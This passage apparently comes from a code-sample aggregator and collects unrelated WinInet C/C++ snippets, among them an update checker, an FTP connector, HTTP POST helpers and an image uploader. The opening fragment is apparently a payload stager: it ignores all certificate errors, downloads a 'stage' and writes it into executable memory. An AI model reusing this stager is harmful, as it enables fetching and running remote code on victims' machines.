	if (hHTTPOpenRequest == NULL){
		err_exit("HttpOpenRequest()");
	}

	// 3.4: if (SSL)->InternetSetOption 
	if (WithSSL){
		dwSecFlags = SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_WRONG_USAGE | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_REVOCATION;
		InternetSetOption(hHTTPOpenRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecFlags, sizeof(dwSecFlags));
	}

	// 3.5: HttpSendRequest 
	if (!HttpSendRequest(hHTTPOpenRequest, NULL, NULL, NULL, NULL))
	{
		err_exit("HttpSendRequest()");
	}

	// 3.6: VirtualAlloc enough memory for the stage ... 4MB are more than enough
	buffer = (unsigned char*)VirtualAlloc(NULL, (4 * 1024 * 1024), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 3.7: InternetReadFile: keep reading till nothing is left.

	BOOL bKeepReading = true;
	DWORD dwBytesRead = -1;
	DWORD dwBytesWritten = 0;
	while (bKeepReading && dwBytesRead != 0)
	{
		bKeepReading = InternetReadFile(hHTTPOpenRequest, (buffer + dwBytesWritten), 4096, &dwBytesRead);
		dwBytesWritten += dwBytesRead;
	}

	//	4) Return pointer to the populated buffer to caller function.
	return buffer;
}
Exemple #11
0
char* remote_data(LPWSTR verb, char* url, char* body, size_t body_size, 
				  bool bGetHeaders, bool bGetRawData = false, bool bCheckSession = false, DWORD* pdwDataSize = NULL) {
  char       *cstr = NULL;
  char		 *session = NULL;
  std::string data = "";
  //CAtlStringA data;
  char        sBuf[1024];
  DWORD       dwBytesRead  = 0;
  LPWSTR      urlw;
  HINTERNET   hInet, hConnection, hRequest;
  LPTSTR      pszFunction = NULL;

  if ( url==NULL || strlen(url)==0 ) return NULL;

  urlw = wce_mbtowc(url);  
  hInet = hConnection = hRequest = NULL;

  do {
	  // Don't make a connection attempt if there is no session
    session = get_db_session(load_source_url());
	  if ( bCheckSession && !session && !strstr(url, "clientcreate") ) {
	    break;
	  }
	  if (session) free(session);

    if( !SetupInternetConnection(urlw) ) {
      break;
    }

    hInet = InternetOpen(_T("rhodes-wm"), 
      INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, NULL );
    if ( !hInet ) {
      pszFunction = L"InternetOpen";
      break;
    }

    DWORD lpdwBufferLength = sizeof(sBuf)/sizeof(wchar_t);
    if ( !InternetCanonicalizeUrl(urlw, (LPWSTR)sBuf, &lpdwBufferLength, 0) ) {
      pszFunction = L"InternetCanonicalizeUrl";
      break;
    }

    ATLTRACE(L"Connecting to url: %s\n",(LPWSTR)sBuf);

    URL_COMPONENTS uri;
    alloc_url_components(&uri,url);
    if( !InternetCrackUrl((LPWSTR)sBuf,lpdwBufferLength,0,&uri) ) {
      pszFunction = L"InternetCrackUrl";
      free_url_components(&uri);
      break;
    }

    hConnection = InternetConnect( hInet, 
      uri.lpszHostName, uri.nPort, _T("anonymous"), NULL, 
      INTERNET_SERVICE_HTTP, 0, 0 );
    if ( !hConnection ) {
      pszFunction = L"InternetConnect";
      free_url_components(&uri);
      break;
    }

    wsprintf((LPWSTR)sBuf,L"%s%s",uri.lpszUrlPath,uri.lpszExtraInfo);
    hRequest = HttpOpenRequest( hConnection, verb, 
      (LPWSTR)sBuf, NULL, NULL, NULL, 
      INTERNET_FLAG_KEEP_CONNECTION|INTERNET_FLAG_NO_CACHE_WRITE, NULL );
    if ( !hRequest ) {
      pszFunction = L"HttpOpenRequest";
      free_url_components(&uri);
      break;
    }

    free_url_components(&uri);

    //Send data
    if ( HttpSendRequest( hRequest, NULL, 0, body, body_size) ) {
      wchar_t res[10];
      DWORD dwLen = 10;
      DWORD nIndex = 0;
      bool bOk = false;
      if( HttpQueryInfo(hRequest,HTTP_QUERY_STATUS_CODE,res,&dwLen,&nIndex) ){
        if ( wcscmp(res,L"200") == 0 )
          bOk = true;
		else {
          bOk = false;
		  // If we're unauthorized, delete any cookies that might have been
		  // stored so we don't reuse them later
		  if ( wcscmp(res,L"401") == 0 ) delete_winmo_session(load_source_url());
		}
      }

      if ( bOk ){
        if ( bGetHeaders ){
          DWORD dwSize = 0;
	        HttpQueryInfo(hRequest, HTTP_QUERY_RAW_HEADERS, NULL, &dwSize, NULL);
	        if( dwSize != 0 )
	        {
		        cstr = new char [dwSize+1];
		        // Call HttpQueryInfo again to get the headers.
		        bOk = (bool) HttpQueryInfoA(hRequest, HTTP_QUERY_RAW_HEADERS, (LPVOID) cstr, &dwSize, NULL);
          }
        }else{
          BOOL bRead = InternetReadFile(hRequest, &sBuf, sizeof(sBuf), &dwBytesRead);
          while (bRead && (dwBytesRead > 0)) {
            data.append(sBuf, dwBytesRead);
            //data.Append(sBuf, dwBytesRead);
            bRead = InternetReadFile(hRequest, &sBuf, sizeof(sBuf), &dwBytesRead);
          }
		      if ( bGetRawData && pdwDataSize ){
			      cstr = new char [*pdwDataSize];
            memcpy (cstr, data.c_str(), *pdwDataSize);
		      }
		      else {
			      //make a copy of recieved data
			      cstr = new char [data.size()+1];
			      strcpy (cstr, data.c_str());
            //cstr = new char [data.GetLength()+1];
            //strcpy (cstr, data.GetString());
		      }
        }
      }
    } else {
      pszFunction = L"HttpOpenRequest";
    }

  } while(0);

  if (pszFunction) {
    ErrorMessage(pszFunction);
  }

  if(hRequest) InternetCloseHandle(hRequest);
  if(hConnection) InternetCloseHandle(hConnection);
  if(hInet) InternetCloseHandle(hInet);

  free(urlw);
  return cstr;
}
wxString DownloadURL( const wxString& server, const wxString& path )
{
  HINTERNET hInternetOpen = 0;
  HINTERNET hInternetConnect = 0;
  HINTERNET hHttpOpenRequest = 0;

  char sReadBuffer[2048] = "";
  DWORD dwLengthSizeBuffer = sizeof(sReadBuffer);

  long lRetVal(0), bRet(0), bDoLoop(1);
  ULONG lNumberOfBytesRead(0);
  wxString tmp, sBuffer;

  if (!InternetGetConnectedState(0, 0))
    return wxT("");

  hInternetOpen = InternetOpen(USER_AGENT, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if( hInternetOpen )
  {

    hInternetConnect = InternetConnect(hInternetOpen, server, INTERNET_DEFAULT_HTTP_PORT, NULL, AGENT, INTERNET_SERVICE_HTTP, 0, 0);
    if ( hInternetConnect )
    {

      hHttpOpenRequest = HttpOpenRequest(hInternetConnect, wxT("GET"), path, AGENT, NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_DONT_CACHE, 0);
      if ( hHttpOpenRequest )
      {
        long tmpVar;
        tmpVar = 10000; lRetVal = InternetSetOption(hHttpOpenRequest, INTERNET_OPTION_CONNECT_TIMEOUT, &tmpVar, 4);
        tmpVar = 15000; lRetVal = InternetSetOption(hHttpOpenRequest, INTERNET_OPTION_RECEIVE_TIMEOUT, &tmpVar, 4);
        tmpVar = 20000; lRetVal = InternetSetOption(hHttpOpenRequest, INTERNET_OPTION_SEND_TIMEOUT, &tmpVar, 4);

        bRet = HttpAddRequestHeaders(hHttpOpenRequest, DEFAULT_HEADERS, wxStrlen(DEFAULT_HEADERS), HTTP_ADDREQ_FLAG_REPLACE | HTTP_ADDREQ_FLAG_ADD);
        bRet = HttpSendRequest(hHttpOpenRequest, NULL, 0, 0, 0);

        while ( bDoLoop ) {
          sReadBuffer[0] = 0;

          bDoLoop = InternetReadFile(hHttpOpenRequest, sReadBuffer, dwLengthSizeBuffer, &lNumberOfBytesRead);

          if ( lNumberOfBytesRead > 0 )
          {
            tmp = wxString(sReadBuffer, wxConvLibc);
            tmp.Truncate(lNumberOfBytesRead);

            sBuffer += tmp;
          }
          else
          {
            bDoLoop = 0;
          }
        }

        bRet = InternetCloseHandle(hHttpOpenRequest);
      } // if ( hHttpOpenRequest )

      bRet = InternetCloseHandle(hInternetConnect);
    } // if ( hInternetConnect )

    bRet = InternetCloseHandle(hInternetOpen);
  } // if( hInternetOpen )


  return sBuffer;
}
Exemple #13
0
static char*
check_version ()
{
#if 0
    HINTERNET hINet, hFile;
    hINet = InternetOpen ("Update Checker", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);

    if (!hINet)
    {
        return "Unknown";
    }

    hFile = InternetOpenUrl (hINet,
                             "https://raw.github.com/hexchat/hexchat/master/win32/version.txt",
                             NULL,
                             0,
                             INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD,
                             0);
    if (hFile)
    {
        static char buffer[1024];
        DWORD dwRead;
        while (InternetReadFile (hFile, buffer, 1023, &dwRead))
        {
            if (dwRead == 0)
            {
                break;
            }
            buffer[dwRead] = 0;
        }

        InternetCloseHandle (hFile);
        InternetCloseHandle (hINet);
        if (strlen (buffer) == 5)
            return buffer;
        else
            return "Unknown";
    }

    InternetCloseHandle (hINet);
    return "Unknown";
#endif

    /* Google Code's messing up with requests, use HTTP/1.0 as suggested. More info:

       http://code.google.com/p/support/issues/detail?id=6095

       Of course it would be still too simple, coz IE will override settings, so
       you have to disable HTTP/1.1 manually and globally. More info:

       http://support.microsoft.com/kb/258425

       So this code's basically useless since disabling HTTP/1.1 will work with the
       above code too.

       Update: a Connection: close header seems to disable chunked encoding.
    */

    HINTERNET hOpen, hConnect, hResource;

    hOpen = InternetOpen (TEXT ("Update Checker"),
                          INTERNET_OPEN_TYPE_PRECONFIG,
                          NULL,
                          NULL,
                          0);
    if (!hOpen)
    {
        return "Unknown";
    }

    hConnect = InternetConnect (hOpen,
                                TEXT ("raw.github.com"),
                                INTERNET_DEFAULT_HTTPS_PORT,
                                NULL,
                                NULL,
                                INTERNET_SERVICE_HTTP,
                                0,
                                0);
    if (!hConnect)
    {
        InternetCloseHandle (hOpen);
        return "Unknown";
    }

    hResource = HttpOpenRequest (hConnect,
                                 TEXT ("GET"),
                                 TEXT ("/hexchat/hexchat/master/win32/version.txt"),
                                 TEXT ("HTTP/1.0"),
                                 NULL,
                                 NULL,
                                 INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_AUTH,
                                 0);
    if (!hResource)
    {
        InternetCloseHandle (hConnect);
        InternetCloseHandle (hOpen);
        return "Unknown";
    }
    else
    {
        static char buffer[1024];
        DWORD dwRead;

        HttpAddRequestHeaders (hResource, TEXT ("Connection: close\r\n"), -1L, HTTP_ADDREQ_FLAG_ADD);	/* workaround for GC bug */
        HttpSendRequest (hResource, NULL, 0, NULL, 0);

        while (InternetReadFile (hResource, buffer, 1023, &dwRead))
        {
            if (dwRead == 0)
            {
                break;
            }
            buffer[dwRead] = 0;
        }

        InternetCloseHandle (hResource);
        InternetCloseHandle (hConnect);
        InternetCloseHandle (hOpen);
        return buffer;
    }
}
Exemple #14
0
DWORD WINAPI CFtpFile::ConnectWork(LPVOID Param)
{
	CFtpFile *p = (CFtpFile *)Param;
	TCHAR LogBuff[300]={0};
	for(int i=0;i<3;i++)
	{
		if(-1 == p->m_Mode ||0 == p->m_Mode)
		{
			///被动模式连接
			g_Datalog.Trace(LOGL_TOP,LOGT_PROMPT, __TFILE__,__LINE__, _T("被动模式连接, start InternetConnect"));
			p->m_hConnect =
				InternetConnect(
				p->m_hHint,
				p->m_strIP,
				p->m_dwPort,
				p->m_strUser,
				p->m_strPwd,
				INTERNET_SERVICE_FTP,
				INTERNET_FLAG_PASSIVE,
				0);
			if(p->m_hConnect == NULL) //INTERNET_FLAG_PASSIVE
			{
				DWORD dwErr = GetLastError();
				p->m_isConnect = FALSE;
				_stprintf(LogBuff,_T("InternetConnect 被动连接失败 %s err = %d"),p->m_strIP,dwErr);
				g_Datalog.Trace(LOGL_TOP,LOGT_ERROR, __TFILE__,__LINE__, LogBuff);
				if(dwErr== 6||dwErr ==12002)
				{
					g_Datalog.Trace(LOGL_TOP,LOGT_ERROR, __TFILE__,__LINE__, _T("连接失败退出 dwerr =6 or 12002"));
					return 1;
				}
			}
			else
			{
				p->m_Mode = 0;
				p->m_isConnect = TRUE;
				_stprintf(LogBuff,_T("FTP被动连接成功 %s"),p->m_strIP);
				g_Datalog.Trace(LOGL_TOP,LOGT_PROMPT, __TFILE__,__LINE__, LogBuff);
				return 0;
			}

		}
		if(-1 == p->m_Mode ||1 == p->m_Mode)
		{
			///主动模式连接
			p->m_hConnect =
				InternetConnect(
				p->m_hHint,
				p->m_strIP,
				p->m_dwPort,
				p->m_strUser,
				p->m_strPwd,
				INTERNET_SERVICE_FTP,
				0,
				0);
			if(p->m_hConnect == NULL)
			{
				p->m_isConnect = FALSE;
				DWORD dwErr = GetLastError();
				_stprintf(LogBuff,_T("InternetConnect 主动连接失败 %s err = %d"),p->m_strIP,dwErr);
     			g_Datalog.Trace(LOGL_TOP,LOGT_ERROR, __TFILE__,__LINE__, LogBuff);
 				if(dwErr== 6||dwErr ==12002)
 				{
					g_Datalog.Trace(LOGL_TOP,LOGT_ERROR, __TFILE__,__LINE__, _T("连接失败退出 dwerr =6 or 12002"));
					return 1;
 				}
			}
			else
			{
				p->m_isConnect = TRUE;
				_stprintf(LogBuff,_T("FTP主动连接成功 %s"),p->m_strIP);
				g_Datalog.Trace(LOGL_TOP,LOGT_PROMPT, __TFILE__,__LINE__, LogBuff);
				return 0;
			}

		}
	}
	return 1;

}
Exemple #15
0
bool HttpPost(const WCHAR *server, const WCHAR *url, str::Str<char> *headers, str::Str<char> *data)
{
    str::Str<char> resp(2048);
    bool ok = false;
    HINTERNET hConn = NULL, hReq = NULL;
    HINTERNET hInet = InternetOpen(USER_AGENT, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hInet)
        goto Exit;
    hConn = InternetConnect(hInet, server, INTERNET_DEFAULT_HTTP_PORT,
                            NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
    if (!hConn)
        goto Exit;

    DWORD flags = INTERNET_FLAG_KEEP_CONNECTION;
    hReq = HttpOpenRequest(hConn, L"POST", url, NULL, NULL, NULL, flags, NULL);
    if (!hReq)
        goto Exit;
    char *hdr = NULL;
    DWORD hdrLen = 0;
    if (headers && headers->Count() > 0) {
        hdr = headers->Get();
        hdrLen = (DWORD)headers->Count();
    }
    void *d = NULL;
    DWORD dLen = 0;
    if (data && data->Count() > 0) {
        d = data->Get();
        dLen = (DWORD)data->Count();
    }

    unsigned int timeoutMs = 15 * 1000;
    InternetSetOption(hReq, INTERNET_OPTION_SEND_TIMEOUT,
                      &timeoutMs, sizeof(timeoutMs));

    InternetSetOption(hReq, INTERNET_OPTION_RECEIVE_TIMEOUT,
                      &timeoutMs, sizeof(timeoutMs));

    if (!HttpSendRequestA(hReq, hdr, hdrLen, d, dLen))
        goto Exit;

    // Get the response status.
    DWORD respHttpCode = 0;
    DWORD respHttpCodeSize = sizeof(respHttpCode);
    HttpQueryInfo(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER,
                       &respHttpCode, &respHttpCodeSize, 0);

    DWORD dwRead;
    do {
        char buf[1024];
        if (!InternetReadFile(hReq, buf, sizeof(buf), &dwRead))
            goto Exit;
        resp.Append(buf, dwRead);
    } while (dwRead > 0);

#if 0
    // it looks like I should be calling HttpEndRequest(), but it always claims
    // a timeout even though the data has been sent, received and we get HTTP 200
    if (!HttpEndRequest(hReq, NULL, 0, 0)) {
        LogLastError();
        goto Exit;
    }
#endif
    ok = (200 == respHttpCode);
Exit:
    if (hReq)
        InternetCloseHandle(hReq);
    if (hConn)
        InternetCloseHandle(hConn);
    if (hInet)
        InternetCloseHandle(hInet);
    return ok;
}
Exemple #16
0
UINT APIENTRY CXMLHttpRequest::SendThread(void *pParm)
{
	ATLTRACE(_T("CXMLHttpRequest::SendThread\n"));

	CXMLHttpRequest *pCtx = reinterpret_cast<CXMLHttpRequest *> (pParm);
	if (NULL == pCtx)
		return 0;

	HINTERNET hOpen    = NULL;
	HINTERNET hConnect = NULL; 
	HINTERNET hRequest = NULL; 

	hOpen = InternetOpen(_T("XMLHTTP/1.0"),INTERNET_OPEN_TYPE_PRECONFIG,
										NULL,NULL,0);
	if (NULL == hOpen) {
		DWORD res = GetLastError();
		pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
		pCtx->m_bSuccess = false;
	}

	if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
		if (INTERNET_INVALID_STATUS_CALLBACK == InternetSetStatusCallback(hOpen,
				CXMLHttpRequest::InternetStatusCallback)) {
			pCtx->m_Error = _T("Invalid Internet Status Callback function.");
			pCtx->m_bSuccess = false;
		}
	}

	bool bPromptForAuthentication = true;
	if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
		LPTSTR lpszUserName = NULL;
		LPTSTR lpszPassword = NULL;
		if (pCtx->m_User.length() > 0) {
			bPromptForAuthentication = false;
			lpszUserName = pCtx->m_User; 
			if (pCtx->m_Password.length() > 0) 
				lpszPassword = pCtx->m_Password;
		}    
		hConnect = InternetConnect(hOpen,pCtx->m_HostName,pCtx->m_Port,lpszUserName,lpszPassword,
										INTERNET_SERVICE_HTTP,0,reinterpret_cast<DWORD> (pCtx));
		if (NULL == hConnect) {
			DWORD res = GetLastError();
			pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
			pCtx->m_bSuccess = false;
		}
	}

	if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
		DWORD dwFlags = (443 == pCtx->m_Port) ? INTERNET_FLAG_SECURE : 0;
		dwFlags |= INTERNET_FLAG_NO_CACHE_WRITE;
		hRequest = HttpOpenRequest(hConnect,pCtx->m_Method,
						pCtx->m_URLPath,NULL,NULL,NULL,
						dwFlags,reinterpret_cast<DWORD> (pCtx));
		if (NULL == hRequest) {
			DWORD res = GetLastError();
			pCtx->m_bSuccess = false;
			pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
		}
	}

	BOOL rc = TRUE;

	if (!pCtx->m_bAbort && pCtx->m_bSuccess && pCtx->m_RequestHeaderMap.GetSize() > 0) {
		_bstr_t requestHeaders;
		for (int i = 0 ; i < pCtx->m_RequestHeaderMap.GetSize(); ++i) {
			requestHeaders += pCtx->m_RequestHeaderMap.GetKeyAt(i);
			requestHeaders += _T(": ");
			requestHeaders += pCtx->m_RequestHeaderMap.GetValueAt(i);
			requestHeaders += _T("\r\n");
		}
		rc = HttpAddRequestHeaders(hRequest,requestHeaders,-1,HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE);
		if (!rc) {	
			DWORD res = GetLastError();
			pCtx->m_bSuccess = false;
			pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
		}
	}
	
	DWORD dwLen = 0;
	DWORD dwError = ERROR_SUCCESS; 
	do {
		if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
			rc = HttpSendRequest(hRequest,NULL,0,pCtx->m_pBody,pCtx->m_lBodyLength);
			if (!rc) {	
				DWORD res = GetLastError();
				pCtx->m_bSuccess = false;
				pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
				break;
			}
		}
		if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
			dwLen = sizeof(DWORD);
			rc = HttpQueryInfo(hRequest,
							   HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER,
							   &pCtx->m_dwStatus,&dwLen,NULL);
			if (!rc) {
				DWORD res = GetLastError();
				pCtx->m_bSuccess = false;
				pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
				break;
			}
		}
		if (!pCtx->m_bAbort && pCtx->m_bSuccess &&
			bPromptForAuthentication &&
			(HTTP_STATUS_PROXY_AUTH_REQ == pCtx->m_dwStatus ||
			 HTTP_STATUS_DENIED		    == pCtx->m_dwStatus)) 
   			dwError = InternetErrorDlg(pCtx->m_HwndParent,
									   hRequest,
									   ERROR_INTERNET_INCORRECT_PASSWORD,
									   FLAGS_ERROR_UI_FILTER_FOR_ERRORS	   |
									   FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS |
									   FLAGS_ERROR_UI_FLAGS_GENERATE_DATA,				
									   NULL);
		else
			break;
	
	} while (ERROR_INTERNET_FORCE_RETRY == dwError &&
			 !pCtx->m_bAbort && pCtx->m_bSuccess); 		
	
	if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
		dwLen = 1024;
		TCHAR *pBuff = new TCHAR[dwLen];
		rc = HttpQueryInfo(hRequest,HTTP_QUERY_RAW_HEADERS_CRLF,pBuff,&dwLen,NULL);
		if (!rc) {
			DWORD res = GetLastError();
			if (ERROR_INSUFFICIENT_BUFFER == res) {
				delete [] pBuff;
				pBuff = new TCHAR[dwLen];
				rc = HttpQueryInfo(hRequest,HTTP_QUERY_RAW_HEADERS_CRLF,pBuff,&dwLen,NULL);
				if (!rc) {
					res = GetLastError();
					pCtx->m_bSuccess = false;
					pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
				}
			}
			else {
				pCtx->m_bSuccess = false;
				pCtx->m_Error = CXMLHttpRequest::GetErrorMsg(res);
			}
		}
		if (rc)
			 pCtx->m_ResponseHeaders = pBuff;

		delete [] pBuff;
	}

	if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
		dwLen = 1024;
		TCHAR *pBuff = new TCHAR[dwLen];
		rc = HttpQueryInfo(hRequest,HTTP_QUERY_STATUS_TEXT,pBuff,&dwLen,NULL);
		if (!rc) {
			DWORD res = GetLastError();
			if (ERROR_INSUFFICIENT_BUFFER == res) {
				delete [] pBuff;
				pBuff = new TCHAR[dwLen];
				rc = HttpQueryInfo(hRequest,HTTP_QUERY_STATUS_TEXT,pBuff,&dwLen,NULL);
				if (!rc) 
					_tcscpy(pBuff,_T("Unknown"));
			}
			else 
				_tcscpy(pBuff,_T("Unknown"));
		}
		pCtx->m_StatusText = pBuff; 
		delete [] pBuff;
	
		if (HTTP_STATUS_OK != pCtx->m_dwStatus) {
			TCHAR errBuff[MAX_PATH] = _T("");
			wsprintf(errBuff,_T("HTTP Status Code: %d, Reason: "),pCtx->m_dwStatus);
			pCtx->m_Error = errBuff;
			pCtx->m_Error += pCtx->m_StatusText;
			pCtx->m_bSuccess = false;
		}
	}

	if (!pCtx->m_bAbort && pCtx->m_bSuccess) {
		PBYTE buffer[255];
		DWORD dwRead = 0;
		delete [] pCtx->m_pResponseBody;
		pCtx->m_pResponseBody = NULL;
		pCtx->m_lResponseBodyLength = 0;
		while (rc = InternetReadFile(hRequest,buffer,255,&dwRead)) {
			if (!rc || pCtx->m_bAbort || 0 == dwRead) 
				break;
					
			PBYTE tmp = new BYTE[pCtx->m_lResponseBodyLength + dwRead];
			if (pCtx->m_pResponseBody) {
				memcpy(tmp,pCtx->m_pResponseBody,pCtx->m_lResponseBodyLength);
				delete [] pCtx->m_pResponseBody;
			}

			memcpy(tmp+pCtx->m_lResponseBodyLength,buffer,dwRead);
			pCtx->m_pResponseBody = tmp;
			pCtx->m_lResponseBodyLength += dwRead;
		}
		if (!rc) {
			DWORD res = GetLastError();
			pCtx->m_Error = _T("Error reading response: ") + CXMLHttpRequest::GetErrorMsg(res);
			pCtx->m_bSuccess = false;
		}
	}

	if (hRequest != NULL)
		InternetCloseHandle(hRequest);
	
	if (hConnect != NULL) 
		InternetCloseHandle(hConnect);

	if (hOpen)
		InternetCloseHandle(hOpen);
	
	if (!pCtx->m_bAbort && pCtx->m_bAsync)
		::PostMessage(pCtx->m_hWnd,MSG_READY_STATE_CHANGE,4,0); 
  
	return 0;
}
Exemple #17
0
// Uploads the PNG file to Gyazo
BOOL uploadFile(HWND hwnd, LPCTSTR fileName, BOOL isPng)
{
	const int nSize = 256;
	LPCTSTR DEFAULT_UPLOAD_SERVER = _T("upload.gyazo.com");
	LPCTSTR DEFAULT_UPLOAD_PATH   = _T("/upload.cgi");
	LPCTSTR DEFAULT_UPLOAD_TOKEN = _T("");
	//LPCTSTR DEFAULT_USER_AGENT    = _T("User-Agent: Gyazowin/1.0\r\n");
	const int DEFAULT_UPLOAD_SERVER_PORT = INTERNET_DEFAULT_HTTP_PORT;

	TCHAR upload_server[nSize];
	TCHAR upload_path[nSize];
	TCHAR upload_token[nSize];
	//TCHAR ua[nSize];
	lstrcpy(upload_server, DEFAULT_UPLOAD_SERVER);
	lstrcpy(upload_path, DEFAULT_UPLOAD_PATH);
	lstrcpy(upload_token, DEFAULT_UPLOAD_TOKEN);
	//lstrcpy(ua, DEFAULT_USER_AGENT);
	int upload_server_port = DEFAULT_UPLOAD_SERVER_PORT;

	TCHAR runtime_path[MAX_PATH+1];
	TCHAR runtime_dirname[MAX_PATH+1];
	TCHAR config_file[MAX_PATH+1];
	if (0 != ::GetModuleFileName(NULL, runtime_path, MAX_PATH)) {
		TCHAR tmp[MAX_PATH+1];
		_tsplitpath_s(runtime_path, tmp, runtime_dirname, tmp, tmp);
	}
	lstrcpy(config_file, runtime_dirname);
	lstrcat(config_file, _T("\\gyazo.ini"));
	if (PathFileExists(config_file)) {
		LPCTSTR SECTION_NAME = _T("gyazo");
		GetPrivateProfileString(SECTION_NAME, _T("server"), DEFAULT_UPLOAD_SERVER, upload_server, sizeof(upload_server), config_file);
		GetPrivateProfileString(SECTION_NAME, _T("path"), DEFAULT_UPLOAD_PATH, upload_path, sizeof(upload_path), config_file);
		GetPrivateProfileString(SECTION_NAME, _T("token"), DEFAULT_UPLOAD_TOKEN, upload_token, sizeof(upload_token), config_file);
		//GetPrivateProfileString(SECTION_NAME, _T("user_agent"), DEFAULT_USER_AGENT, ua, sizeof(ua), config_file);
		upload_server_port = GetPrivateProfileInt(SECTION_NAME, _T("port"), DEFAULT_UPLOAD_SERVER_PORT, config_file);
	}

	const char*  sBoundary = "----BOUNDARYBOUNDARY----";		// boundary
	const char   sCrLf[]   = { 0xd, 0xa, 0x0 };					// 改行(CR+LF)
	TCHAR szHeader[200];

	StringCchPrintf(szHeader, 200, TEXT("Auth-Token: %s\r\nContent-type: multipart/form-data; boundary=----BOUNDARYBOUNDARY----"), upload_token);

	std::ostringstream	buf;	// 送信メッセージ

	wchar_t fname[_MAX_FNAME];
	wchar_t ext[_MAX_EXT];
	_wsplitpath(fileName, NULL, NULL, fname, ext );
	std::string data = (isPng) ? "imagedata" : "data";
	LPCTSTR file = (isPng) ? _T("gyazo") : wcsncat(fname, ext, _MAX_FNAME);
	size_t size = wcstombs(NULL, file, 0);
	char* CharStr = new char[size + 1];
	wcstombs(CharStr, file, size + 1);

	// -- "imagedata" part
	buf << "--";
	buf << sBoundary;
	buf << sCrLf;
	buf << "content-disposition: form-data; name=\"";
	buf << data;
	buf << "\"; filename=\"";
	buf << CharStr;
	buf << "\"";
	buf << sCrLf;
	//buf << "Content-type: image/png";	// 一応
	//buf << sCrLf;
	buf << sCrLf;

	// 本文: PNG ファイルを読み込む
	std::ifstream png;
	png.open(fileName, std::ios::binary);
	if (png.fail()) {
		MessageBox(hwnd, _T("PNG open failed"), szTitle, MB_ICONERROR | MB_OK);
		png.close();
		return FALSE;
	}
	buf << png.rdbuf();		// read all & append to buffer
	png.close();

	// 最後
	buf << sCrLf;
	buf << "--";
	buf << sBoundary;
	buf << "--";
	buf << sCrLf;

	// メッセージ完成
	std::string oMsg(buf.str());

	// WinInet を準備 (proxy は 規定の設定を利用)
	HINTERNET hSession    = InternetOpen(_T("Gyazowin/1.0"), 
		INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if(NULL == hSession) {
		LastErrorMessageBox(hwnd, _T("Cannot configure wininet."));
		return FALSE;
	}
	
	// 接続先
	HINTERNET hConnection = InternetConnect(hSession, 
		upload_server, upload_server_port,
		NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
	if(NULL == hConnection) {
		LastErrorMessageBox(hwnd, _T("Cannot initiate connection."));
		InternetCloseHandle(hSession);
		return FALSE;
	}

	// 要求先の設定
	HINTERNET hRequest    = HttpOpenRequest(hConnection,
		_T("POST"), upload_path, NULL,
		NULL, NULL, INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL);
	if(NULL == hRequest) {
		LastErrorMessageBox(hwnd, _T("Cannot compose post request."));
		InternetCloseHandle(hConnection);
		InternetCloseHandle(hSession);
		return FALSE;
	}
	
	// 要求を送信
	BOOL bSuccess = FALSE;
	if (HttpSendRequest(hRequest,
                    szHeader,
					lstrlen(szHeader),
                    (LPVOID)oMsg.c_str(),
					(DWORD) oMsg.length()))
	{
		// 要求は成功
		
		DWORD resLen = 8;
		TCHAR resCode[8];

		// status code を取得
		if(!HttpQueryInfo(hRequest, HTTP_QUERY_STATUS_CODE, resCode, &resLen, 0))
		{
			LastErrorMessageBox(hwnd, _T("Cannot get status code."));
			InternetCloseHandle(hRequest);
			InternetCloseHandle(hConnection);
			InternetCloseHandle(hSession);
			return FALSE;
		}

		// 結果 (URL) を読取る
		DWORD len;
		char  resbuf[1024];
		std::string result;

		// そんなに長いことはないけどまあ一応
		while (InternetReadFile(hRequest, (LPVOID)resbuf, 1024, &len)
			&& len != 0)
		{
			result.append(resbuf, len);
		}

		// 取得結果は NULL terminate されていないので
		result += '\0';

		if( _ttoi(resCode) != 200 ) {
			// upload 失敗 (status error)
			TCHAR errorBuf[200];
			StringCchPrintf(errorBuf, 200, TEXT("Cannot upload the image. Error %s "),resCode);
			std::wstring stemp = std::wstring(result.begin(), result.end());
			StringCchCat(errorBuf, 200, (LPTSTR)stemp.c_str());
			MessageBox(hwnd, errorBuf, szTitle, MB_ICONERROR | MB_OK);
		} else {
			// upload succeeded

			// クリップボードに URL をコピー
			setClipBoardText(result.c_str());
			
			// URL を起動
			execUrl(result.c_str()); 

			bSuccess = TRUE;
		}
	} else {
		// アップロード失敗...
		LastErrorMessageBox(hwnd, _T("Cannot connect to the server."));
	}

	// ハンドルクローズ
